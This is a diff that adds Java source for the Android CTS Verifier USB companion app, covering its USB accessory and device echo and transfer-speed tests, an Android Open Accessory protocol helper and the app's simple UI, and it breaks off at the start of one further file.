+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryAttachmentHandler.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.android.cts.verifierusbcompanion;
+
+import android.app.Activity;
+import android.hardware.usb.UsbAccessory;
+import android.hardware.usb.UsbManager;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+import java.util.ArrayList;
+
+/**
+ * Utility to receive callbacks when an USB accessory is attached.
+ */
+public class AccessoryAttachmentHandler extends Activity {
+    private static final ArrayList<AccessoryAttachmentObserver> sObservers = new ArrayList<>();
+
+    /**
+     * Register an observer to be called when an USB accessory connects.
+     *
+     * @param observer The observer that should be called when an USB accessory connects.
+     */
+    static void addObserver(@NonNull AccessoryAttachmentObserver observer) {
+        synchronized (sObservers) {
+            sObservers.add(observer);
+        }
+    }
+
+    /**
+     * Remove an observer that was added in {@link #addObserver}.
+     *
+     * @param observer The observer to remove
+     */
+    static void removeObserver(@NonNull AccessoryAttachmentObserver observer) {
+        synchronized (sObservers) {
+            sObservers.remove(observer);
+        }
+    }
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        UsbAccessory accessory = getIntent().getParcelableExtra(UsbManager.EXTRA_ACCESSORY);
+
+        synchronized (sObservers) {
+            ArrayList<AccessoryAttachmentObserver> observers =
+                    (ArrayList<AccessoryAttachmentObserver>) sObservers.clone();
+
+            for (AccessoryAttachmentObserver observer : observers) {
+                observer.onAttached(accessory);
+            }
+        }
+
+        finish();
+    }
+
+    /**
+     * Callback when an accessory is attached
+     */
+    interface AccessoryAttachmentObserver {
+        void onAttached(UsbAccessory accessory);
+    }
+}
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
new file mode 100644
index 0000000..0bf8ca2
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
@@ -0,0 +1,355 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifierusbcompanion;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.usb.UsbConstants;
+import android.hardware.usb.UsbDevice;
+import android.hardware.usb.UsbDeviceConnection;
+import android.hardware.usb.UsbEndpoint;
+import android.hardware.usb.UsbInterface;
+import android.hardware.usb.UsbManager;
+import android.support.annotation.NonNull;
+
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+
+/**
+ * Companion code for com.android.cts.verifier.usb.device.UsbAccessoryTestActivity
+ */
+class AccessoryTestCompanion extends TestCompanion {
+    private static final int TIMEOUT_MILLIS = 500;
+    private static final int MAX_BUFFER_SIZE = 16384;
+    private static final int TEST_DATA_SIZE_THRESHOLD = 100 * 1024 * 1024; // 100MB
+
+    private static final String ACTION_USB_PERMISSION =
+            "com.android.cts.verifierusbcompanion.USB_PERMISSION";
+
+    private UsbManager mUsbManager;
+    private BroadcastReceiver mUsbDeviceConnectionReceiver;
+    private UsbDevice mDevice;
+
+    AccessoryTestCompanion(@NonNull Context context, @NonNull TestObserver observer) {
+        super(context, observer);
+    }
+
+    /**
+     * @throws Throwable
+     */
+    @Override
+    protected void runTest() throws Throwable {
+        updateStatus("Waiting for device under test to connect");
+
+        mUsbManager = getContext().getSystemService(UsbManager.class);
+
+        mUsbDeviceConnectionReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (AccessoryTestCompanion.this) {
+                    UsbDevice device = intent.getParcelableExtra(UsbManager.EXTRA_DEVICE);
+
+                    switch (intent.getAction()) {
+                        case UsbManager.ACTION_USB_DEVICE_ATTACHED:
+                            if (mUsbManager.hasPermission(device)) {
+                                onDeviceAccessPermitted(device);
+                            } else {
+                                mUsbManager.requestPermission(device,
+                                        PendingIntent.getBroadcast(getContext(), 0,
+                                                new Intent(ACTION_USB_PERMISSION), 0));
+                            }
+                            break;
+                        case ACTION_USB_PERMISSION:
+                            boolean granted = intent.getBooleanExtra(
+                                    UsbManager.EXTRA_PERMISSION_GRANTED, false);
+
+                            if (granted) {
+                                onDeviceAccessPermitted(device);
+                            } else {
+                                fail("Permission to connect to " + device.getProductName()
+                                        + " not granted");
+                            }
+                            break;
+                    }
+                }
+            }
+        };
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_USB_PERMISSION);
+        filter.addAction(UsbManager.ACTION_USB_DEVICE_ATTACHED);
+
+        getContext().registerReceiver(mUsbDeviceConnectionReceiver, filter);
+
+        synchronized (this) {
+            while (mDevice == null) {
+                wait();
+            }
+        }
+
+        UsbInterface iface = null;
+        for (int i = 0; i < mDevice.getConfigurationCount(); i++) {
+            if (mDevice.getInterface(i).getName().equals("Android Accessory Interface")) {
+                iface = mDevice.getInterface(i);
+                break;
+            }
+        }
+
+        UsbEndpoint in = getEndpoint(iface, UsbConstants.USB_DIR_IN);
+        UsbEndpoint out = getEndpoint(iface, UsbConstants.USB_DIR_OUT);
+
+        UsbDeviceConnection connection = mUsbManager.openDevice(mDevice);
+
+        try {
+            String testName;
+            do {
+                testName = nextTest(connection, in, out, true);
+
+                updateStatus("Running test \"" + testName + "\"");
+
+                switch (testName) {
+                    case "echo 32 bytes": {
+                        byte[] buffer = new byte[32];
+
+                        int numTransferred = connection.bulkTransfer(in, buffer, 32, 0);
+                        assertEquals(32, numTransferred);
+
+                        numTransferred = connection.bulkTransfer(out, buffer, 32, 0);
+                        assertEquals(32, numTransferred);
+                    }
+                    break;
+
+                    case "echo two 16 byte transfers as one": {
+                        byte[] buffer = new byte[48];
+
+                        // We receive the individual transfers even if we wait for more data
+                        int numTransferred = connection.bulkTransfer(in, buffer, 32, 0);
+                        assertEquals(16, numTransferred);
+                        numTransferred = connection.bulkTransfer(in, buffer, 16, 32, 0);
+                        assertEquals(16, numTransferred);
+
+                        numTransferred = connection.bulkTransfer(out, buffer, 32, 0);
+                        assertEquals(32, numTransferred);
+                    }
+                    break;
+
+                    case "echo 32 bytes as two 16 byte transfers": {
+                        byte[] buffer = new byte[32];
+
+                        int numTransferred = connection.bulkTransfer(in, buffer, 32, 0);
+                        assertEquals(32, numTransferred);
+
+                        numTransferred = connection.bulkTransfer(out, buffer, 16, 0);
+                        assertEquals(16, numTransferred);
+                        numTransferred = connection.bulkTransfer(out, buffer, 16, 16, 0);
+                        assertEquals(16, numTransferred);
+                    }
+                    break;
+
+                    case "measure out transfer speed": {
+                        byte[] buffer = new byte[MAX_BUFFER_SIZE];
+
+                        long bytesRead = 0;
+                        while (bytesRead < TEST_DATA_SIZE_THRESHOLD) {
+                            int numTransferred = connection.bulkTransfer(
+                                    in, buffer, MAX_BUFFER_SIZE, 0);
+                            bytesRead += numTransferred;
+                        }
+
+                        // MAX_BUFFER_SIZE is a multiple of the package size, hence we get a zero
+                        // sized package after. Some older devices do not send these packages, but
+                        // this is not compliant anymore.
+                        int numTransferred = connection.bulkTransfer(in, buffer, 1, TIMEOUT_MILLIS);
+                        assertEquals(0, numTransferred);
+
+                        byte[] confirm = new byte[] {1};
+                        numTransferred = connection.bulkTransfer(out, confirm, 1, 0);
+                        assertEquals(1, numTransferred);
+                    }
+                    break;
+
+                    case "measure in transfer speed": {
+                        byte[] buffer = new byte[MAX_BUFFER_SIZE];
+
+                        long bytesWritten = 0;
+                        int numTransferred = 0;
+                        while (bytesWritten < TEST_DATA_SIZE_THRESHOLD) {
+                            numTransferred =
+                                    connection.bulkTransfer(out, buffer, MAX_BUFFER_SIZE, 0);
+                            assertEquals(MAX_BUFFER_SIZE, numTransferred);
+                            bytesWritten += numTransferred;
+                        }
+
+                        byte[] confirm = new byte[] {1};
+                        numTransferred = connection.bulkTransfer(out, confirm, 1, 0);
+                        assertEquals(1, numTransferred);
+                    }
+                    break;
+
+                    case "echo max bytes": {
+                        byte[] buffer = new byte[MAX_BUFFER_SIZE];
+
+                        int numTransferred = connection.bulkTransfer(in, buffer, MAX_BUFFER_SIZE,
+                                0);
+                        assertEquals(MAX_BUFFER_SIZE, numTransferred);
+
+                        // MAX_BUFFER_SIZE is a multiple of the package size, hence we get a zero
+                        // sized package after. Some older devices do not send these packages, but
+                        // this is not compliant anymore.
+                        numTransferred = connection.bulkTransfer(in, buffer, 1, TIMEOUT_MILLIS);
+                        assertEquals(0, numTransferred);
+
+                        numTransferred = connection.bulkTransfer(out, buffer, MAX_BUFFER_SIZE, 0);
+                        assertEquals(MAX_BUFFER_SIZE, numTransferred);
+                    }
+                    break;
+
+                    case "echo max*2 bytes": {
+                        byte[] buffer = new byte[MAX_BUFFER_SIZE * 2];
+
+                        int numTransferred = connection.bulkTransfer(in, buffer, MAX_BUFFER_SIZE,
+                                0);
+                        assertEquals(MAX_BUFFER_SIZE, numTransferred);
+
+                        // Oversized transfers get split into two
+                        numTransferred = connection.bulkTransfer(in, buffer, MAX_BUFFER_SIZE,
+                                MAX_BUFFER_SIZE, 0);
+                        assertEquals(MAX_BUFFER_SIZE, numTransferred);
+
+                        // MAX_BUFFER_SIZE is a multiple of the package size, hence we get a zero
+                        // sized package after. Some older devices do not send these packages, but
+                        // this is not compliant anymore.
+                        numTransferred = connection.bulkTransfer(in, buffer, 1, TIMEOUT_MILLIS);
+                        assertEquals(0, numTransferred);
+
+                        numTransferred = connection.bulkTransfer(out, buffer, MAX_BUFFER_SIZE, 100);
+                        assertEquals(MAX_BUFFER_SIZE, numTransferred);
+
+                        numTransferred = connection.bulkTransfer(out, buffer, MAX_BUFFER_SIZE,
+                                MAX_BUFFER_SIZE, 0);
+                        assertEquals(MAX_BUFFER_SIZE, numTransferred);
+                    }
+                    break;
+
+                    default:
+                        break;
+                }
+            } while (!testName.equals("done"));
+        } finally {
+            connection.close();
+        }
+    }
+
+    /**
+     * If access to a device was permitted either make the device an accessory if it already is,
+     * start the test.
+     *
+     * @param device The device access was permitted to
+     */
+    private void onDeviceAccessPermitted(@NonNull UsbDevice device) {
+        if (!AoapInterface.isDeviceInAoapMode(device)) {
+            UsbDeviceConnection connection = mUsbManager.openDevice(device);
+            try {
+                makeThisDeviceAnAccessory(connection);
+            } finally {
+                connection.close();
+            }
+        } else {
+            getContext().unregisterReceiver(mUsbDeviceConnectionReceiver);
+            mUsbDeviceConnectionReceiver = null;
+
+            synchronized (AccessoryTestCompanion.this) {
+                mDevice = device;
+
+                AccessoryTestCompanion.this.notifyAll();
+            }
+        }
+    }
+
+    @NonNull private String nextTest(@NonNull UsbDeviceConnection connection,
+            @NonNull UsbEndpoint in, @NonNull UsbEndpoint out, boolean isSuccess) {
+        byte[] sizeBuffer = new byte[1];
+
+        updateStatus("Waiting for next test");
+
+        int numTransferred = connection.bulkTransfer(in, sizeBuffer, 1, 0);
+        assertEquals(1, numTransferred);
+
+        int nameSize = sizeBuffer[0];
+
+        byte[] nameBuffer = new byte[nameSize];
+        numTransferred = connection.bulkTransfer(in, nameBuffer, nameSize, 0);
+        assertEquals(nameSize, numTransferred);
+
+        numTransferred = connection.bulkTransfer(out, new byte[]{(byte) (isSuccess ? 1 : 0)}, 1, 0);
+        assertEquals(1, numTransferred);
+
+        numTransferred = connection.bulkTransfer(in, new byte[1], 1, 0);
+        assertEquals(1, numTransferred);
+
+        String name = Charset.forName("UTF-8").decode(ByteBuffer.wrap(nameBuffer)).toString();
+
+        updateStatus("Next test is " + name);
+
+        return name;
+    }
+
+    /**
+     * Search an {@link UsbInterface} for an {@link UsbEndpoint endpoint} of a certain direction.
+     *
+     * @param iface     The interface to search
+     * @param direction The direction the endpoint is for.
+     *
+     * @return The first endpoint found or {@link null}.
+     */
+    @NonNull private UsbEndpoint getEndpoint(@NonNull UsbInterface iface, int direction) {
+        for (int i = 0; i < iface.getEndpointCount(); i++) {
+            UsbEndpoint ep = iface.getEndpoint(i);
+            if (ep.getDirection() == direction) {
+                return ep;
+            }
+        }
+
+        throw new IllegalStateException("Could not find " + direction + " endpoint in "
+                + iface.getName());
+    }
+
+    /**
+     * Converts the device under test into an Android accessory. Accessories are USB hosts that are
+     * detected on the device side via {@link UsbManager#getAccessoryList()}.
+     *
+     * @param connection The connection to the USB device
+     */
+    private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
+                "Android");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
+                "Android device");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
+                "Android device running CTS verifier");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
+                "https://source.android.com/compatibility/cts/verifier.html");
+        AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
+        AoapInterface.sendAoapStart(connection);
+    }
+}
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AoapInterface.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AoapInterface.java
new file mode 100644
index 0000000..6f8d1a1
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AoapInterface.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifierusbcompanion;
+
+import android.hardware.usb.UsbConstants;
+import android.hardware.usb.UsbDevice;
+import android.hardware.usb.UsbDeviceConnection;
+import android.util.Log;
+
+class AoapInterface {
+    /**
+     * Use Google Vendor ID when in accessory mode
+     */
+    private static final int USB_ACCESSORY_VENDOR_ID = 0x18D1;
+
+    /**
+     * Product ID to use when in accessory mode
+     */
+    private static final int USB_ACCESSORY_PRODUCT_ID = 0x2D00;
+
+    /**
+     * Product ID to use when in accessory mode and adb is enabled
+     */
+    private static final int USB_ACCESSORY_ADB_PRODUCT_ID = 0x2D01;
+
+    /**
+     * Indexes for strings sent by the host via ACCESSORY_SEND_STRING
+     */
+    public static final int ACCESSORY_STRING_MANUFACTURER = 0;
+    public static final int ACCESSORY_STRING_MODEL = 1;
+    public static final int ACCESSORY_STRING_DESCRIPTION = 2;
+    public static final int ACCESSORY_STRING_VERSION = 3;
+    public static final int ACCESSORY_STRING_URI = 4;
+    public static final int ACCESSORY_STRING_SERIAL = 5;
+
+    /**
+     * Control request for retrieving device's protocol version
+     *
+     * requestType:    USB_DIR_IN | USB_TYPE_VENDOR
+     * request:        ACCESSORY_GET_PROTOCOL
+     * value:          0
+     * index:          0
+     * data            version number (16 bits little endian)
+     * 1 for original accessory support
+     * 2 adds HID and device to host audio support
+     */
+    private static final int ACCESSORY_GET_PROTOCOL = 51;
+
+    /**
+     * Control request for host to send a string to the device
+     *
+     * requestType:    USB_DIR_OUT | USB_TYPE_VENDOR
+     * request:        ACCESSORY_SEND_STRING
+     * value:          0
+     * index:          string ID
+     * data            zero terminated UTF8 string
+     *
+     * The device can later retrieve these strings via the
+     * ACCESSORY_GET_STRING_* ioctls
+     */
+    private static final int ACCESSORY_SEND_STRING = 52;
+
+    /**
+     * Control request for starting device in accessory mode.
+     * The host sends this after setting all its strings to the device.
+     *
+     * requestType:    USB_DIR_OUT | USB_TYPE_VENDOR
+     * request:        ACCESSORY_START
+     * value:          0
+     * index:          0
+     * data            none
+     */
+    private static final int ACCESSORY_START = 53;
+
+    private static final String TAG = AoapInterface.class.getSimpleName();
+
+    public static int getProtocol(UsbDeviceConnection conn) {
+        byte[] buffer = new byte[2];
+        int len = conn.controlTransfer(
+                UsbConstants.USB_DIR_IN | UsbConstants.USB_TYPE_VENDOR,
+                AoapInterface.ACCESSORY_GET_PROTOCOL, 0, 0, buffer, 2, 10000);
+        if (len != 2) {
+            return -1;
+        }
+        return (buffer[1] << 8) | buffer[0];
+    }
+
+    public static void sendString(UsbDeviceConnection conn, int index, String string) {
+        byte[] buffer = (string + "\0").getBytes();
+        int len = conn.controlTransfer(
+                UsbConstants.USB_DIR_OUT | UsbConstants.USB_TYPE_VENDOR,
+                AoapInterface.ACCESSORY_SEND_STRING, 0, index,
+                buffer, buffer.length, 10000);
+        if (len != buffer.length) {
+            throw new RuntimeException("Failed to send string " + index + ": \"" + string + "\"");
+        } else {
+            Log.i(TAG, "Sent string " + index + ": \"" + string + "\"");
+        }
+    }
+
+    public static void sendAoapStart(UsbDeviceConnection conn) {
+        int len = conn.controlTransfer(
+                UsbConstants.USB_DIR_OUT | UsbConstants.USB_TYPE_VENDOR,
+                AoapInterface.ACCESSORY_START, 0, 0, null, 0, 10000);
+        if (len < 0) {
+            throw new RuntimeException("control transfer for accessory start failed:" + len);
+        }
+    }
+
+    public static boolean isDeviceInAoapMode(UsbDevice device) {
+        final int vid = device.getVendorId();
+        final int pid = device.getProductId();
+        return vid == USB_ACCESSORY_VENDOR_ID
+                && (pid == USB_ACCESSORY_PRODUCT_ID
+                || pid == USB_ACCESSORY_ADB_PRODUCT_ID);
+    }
+}
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java
new file mode 100644
index 0000000..7cbeccf
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.android.cts.verifierusbcompanion;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+import android.hardware.usb.UsbAccessory;
+import android.hardware.usb.UsbManager;
+import android.os.ParcelFileDescriptor;
+import android.support.annotation.NonNull;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+
+/**
+ * Companion code for com.android.cts.verifier.usb.device.UsbDeviceTestActivity
+ */
+class DeviceTestCompanion extends TestCompanion {
+    private static final int MAX_BUFFER_SIZE = 16384;
+    private static final int OVERSIZED_BUFFER_SIZE = MAX_BUFFER_SIZE + 100;
+
+    DeviceTestCompanion(@NonNull Context context, @NonNull TestObserver observer) {
+        super(context, observer);
+    }
+
+    /**
+     * Switches to next test:
+     * <ol>
+     *     <li>Send result of last test to device under test</li>
+     *     <li>Receive name of next test</li>
+     * </ol>
+     *
+     * @param is                The stream to read from
+     * @param os                The stream to write to
+     * @param lastTestSucceeded If the last test succeeded
+     *
+     * @return Name of next test or empty string if there is no next test
+     *
+     * @throws IOException if the communication with the device under test is disturbed
+     */
+    private String nextTest(@NonNull InputStream is, @NonNull OutputStream os,
+            boolean lastTestSucceeded) throws IOException {
+        // Read next test name
+        byte[] sizeBuffer = new byte[1];
+        int numRead = is.read(sizeBuffer);
+        assertEquals(1, numRead);
+
+        byte[] nextTestNameBytes = new byte[sizeBuffer[0]];
+        numRead = is.read(nextTestNameBytes);
+        assertEquals(sizeBuffer[0], numRead);
+
+        // Write test result
+        os.write(lastTestSucceeded ? (byte) 1 : (byte) 0);
+
+        // Wait for ready signal
+        numRead = is.read(sizeBuffer);
+        assertEquals(42, sizeBuffer[0]);
+        assertEquals(1, numRead);
+
+        return Charset.forName("UTF-8").decode(
+                ByteBuffer.wrap(nextTestNameBytes)).toString().trim();
+    }
+
+    /**
+     * Read some bytes and send them back to the sender.
+     *
+     * @param is   Stream to read from
+     * @param os   Stream to write to
+     * @param size The number of bytes to read
+     *
+     * @return {@code true} iff the bytes could be read and written
+     *
+     * @throws IOException
+     */
+    private boolean echoBytes(@NonNull InputStream is, @NonNull OutputStream os, int size)
+            throws IOException {
+        byte[] buffer = new byte[size];
+
+        int numRead = is.read(buffer);
+        if (numRead != size) {
+            return false;
+        }
+
+        os.write(buffer);
+        return true;
+    }
+
+    /**
+     * Read packages of (size:data) send the data back to the sender. Do this until the package size
+     * is declared as 0.
+     *
+     * @param is Stream to read from
+     * @param os Stream to write to
+     *
+     * @return {@code true} iff the bytes could be read and written
+     *
+     * @throws IOException
+     */
+    private boolean echoUntilStopSignal(@NonNull InputStream is, @NonNull OutputStream os) {
+        try {
+            while (!shouldAbort()) {
+                byte[] dataBytes = new byte[9];
+                int numRead = is.read(dataBytes);
+                assertEquals(9, numRead);
+
+                if (shouldAbort() || dataBytes[0] == 0) {
+                    break;
+                }
+
+                os.write(dataBytes);
+            }
+
+            return true;
+        } catch (IOException e) {
+            return false;
+        }
+    }
+
+    /**
+     * Some N and older accessories do not send a zero sized package after a request that is a
+     * multiple of the maximum package size. Hence send such a package to let the device under test
+     * figure out how the accessory driver is implemented on this side.
+     *
+     * @param os The stream to send to
+     */
+    private void helpToFigureOutIfCompanionZeroTerminates(@NonNull OutputStream os)
+            throws IOException {
+        // 1024 is a multiple of all package sizes that are currently known
+        os.write(new byte[1024]);
+        os.write(new byte[1]);
+    }
+
+    @Override
+    protected void runTest() throws Throwable {
+        UsbAccessory accessory;
+
+        final UsbAccessory[] accessoryReceiver = new UsbAccessory[1];
+        AccessoryAttachmentHandler.AccessoryAttachmentObserver accessoryAttachmentObserver =
+                a -> {
+                    synchronized (DeviceTestCompanion.this) {
+                        accessoryReceiver[0] = a;
+                        notifyAll();
+                    }
+                };
+        AccessoryAttachmentHandler.addObserver(accessoryAttachmentObserver);
+
+        updateStatus("Waiting for device under test to connect");
+        synchronized (this) {
+            do {
+                wait();
+            } while (accessoryReceiver[0] == null);
+
+            accessory = accessoryReceiver[0];
+        }
+
+        updateStatus("Connecting to " + accessory.getDescription());
+        UsbManager usbManager = getContext().getSystemService(UsbManager.class);
+        ParcelFileDescriptor fd = usbManager.openAccessory(accessory);
+        assertNotNull(fd);
+
+        try (InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(fd)) {
+            try (OutputStream os = new ParcelFileDescriptor.AutoCloseOutputStream(fd)) {
+                String testName;
+                boolean isSuccess = true;
+
+                do {
+                    testName = nextTest(is, os, isSuccess);
+
+                    updateStatus("Running test \"" + testName + "\"");
+
+                    switch (testName) {
+                        case "does companion zero terminate":
+                            helpToFigureOutIfCompanionZeroTerminates(os);
+                            isSuccess = true;
+                            break;
+                        case "Echo 1 byte":
+                            isSuccess = echoBytes(is, os, 1);
+                            break;
+                        case "Echo 42 bytes":
+                            isSuccess = echoBytes(is, os, 42);
+                            break;
+                        case "Echo max bytes":
+                            isSuccess = echoBytes(is, os, MAX_BUFFER_SIZE);
+                            break;
+                        case "Echo oversized buffer":
+                            // The bytes beyond MAX_BUFFER_SIZE got ignored when sending
+                            isSuccess = echoBytes(is, os, MAX_BUFFER_SIZE);
+                            break;
+                        case "Receive oversized buffer": {
+                            byte[] buffer = new byte[OVERSIZED_BUFFER_SIZE];
+                            buffer[0] = 1;
+                            buffer[MAX_BUFFER_SIZE - 1] = 2;
+                            buffer[MAX_BUFFER_SIZE] = 3;
+                            buffer[OVERSIZED_BUFFER_SIZE - 1] = 4;
+
+                            os.write(buffer);
+
+                            isSuccess = true;
+                        }
+                        break;
+                        case "Receive byte after some time":
+                            Thread.sleep(200);
+                            os.write(new byte[1]);
+                            isSuccess = true;
+                            break;
+                        case "Receive byte immediately":
+                            os.write(new byte[1]);
+                            isSuccess = true;
+                            break;
+                        case "Echo until stop signal":
+                            isSuccess = echoUntilStopSignal(is, os);
+                            break;
+                        case "done":
+                            isSuccess = true;
+                            break;
+                        default:
+                            throw new IllegalStateException("unknown test");
+                    }
+                } while (!"done".equals(testName));
+            }
+        }
+
+        AccessoryAttachmentHandler.removeObserver(accessoryAttachmentObserver);
+    }
+}
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/Main.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/Main.java
new file mode 100644
index 0000000..a87f9ce
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/Main.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.android.cts.verifierusbcompanion;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.Button;
+import android.widget.TextView;
+
+/**
+ * UI of this app
+ */
+public class Main extends Activity implements TestCompanion.TestObserver {
+    private TextView mStatusMessage;
+    private Button mDeviceTestButton;
+    private Button mAccessoryTestButton;
+    private Button mAbortButton;
+    private TestCompanion mCurrentTest;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+        setContentView(R.layout.main);
+
+        mStatusMessage = (TextView) findViewById(R.id.status_message);
+        mDeviceTestButton = (Button) findViewById(R.id.deviceTest);
+        mAccessoryTestButton = (Button) findViewById(R.id.accessoryTest);
+        mAbortButton = (Button) findViewById(R.id.abort);
+
+        mStatusMessage.setText(getString(R.string.status_no_test));
+
+        mDeviceTestButton.setOnClickListener(view -> runDeviceTest());
+        mAccessoryTestButton.setOnClickListener(view -> runAccessoryTest());
+        mAbortButton.setOnClickListener(view -> abortCurrentTest());
+    }
+
+    /**
+     * Abort the current test companion.
+     */
+    private void abortCurrentTest() {
+        mCurrentTest.requestAbort();
+    }
+
+    /**
+     * Run the {@link DeviceTestCompanion}
+     */
+    private void runDeviceTest() {
+        runTestCompanion(new DeviceTestCompanion(this, this));
+    }
+
+    /**
+     * Run the {@link AccessoryTestCompanion}
+     */
+    private void runAccessoryTest() {
+        runTestCompanion(new AccessoryTestCompanion(this, this));
+    }
+
+    /**
+     * Run a test.
+     * @param test The test to run
+     */
+    private void runTestCompanion(@NonNull TestCompanion test) {
+        mAbortButton.setVisibility(View.VISIBLE);
+        mDeviceTestButton.setVisibility(View.GONE);
+        mAccessoryTestButton.setVisibility(View.GONE);
+
+        mCurrentTest = test;
+        test.start();
+    }
+
+    /**
+     * Reset the UI after a test
+     */
+    private void resetUI() {
+        mAbortButton.setVisibility(View.GONE);
+        mDeviceTestButton.setVisibility(View.VISIBLE);
+        mAccessoryTestButton.setVisibility(View.VISIBLE);
+    }
+
+    @Override
+    public void onStatusUpdate(@NonNull CharSequence status) {
+        mStatusMessage.setText(status);
+    }
+
+    @Override
+    public void onSuccess() {
+        mStatusMessage.setText(getString(R.string.status_finished));
+        resetUI();
+    }
+
+    @Override
+    public void onFail(@NonNull CharSequence error) {
+        mStatusMessage.setText(error);
+        resetUI();
+    }
+
+    @Override
+    public void onAbort() {
+        mStatusMessage.setText(getString(R.string.status_abort));
+        resetUI();
+    }
+}
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/TestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/TestCompanion.java
new file mode 100644
index 0000000..e766a18
--- /dev/null
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/TestCompanion.java
@@ -0,0 +1,166 @@
+/*
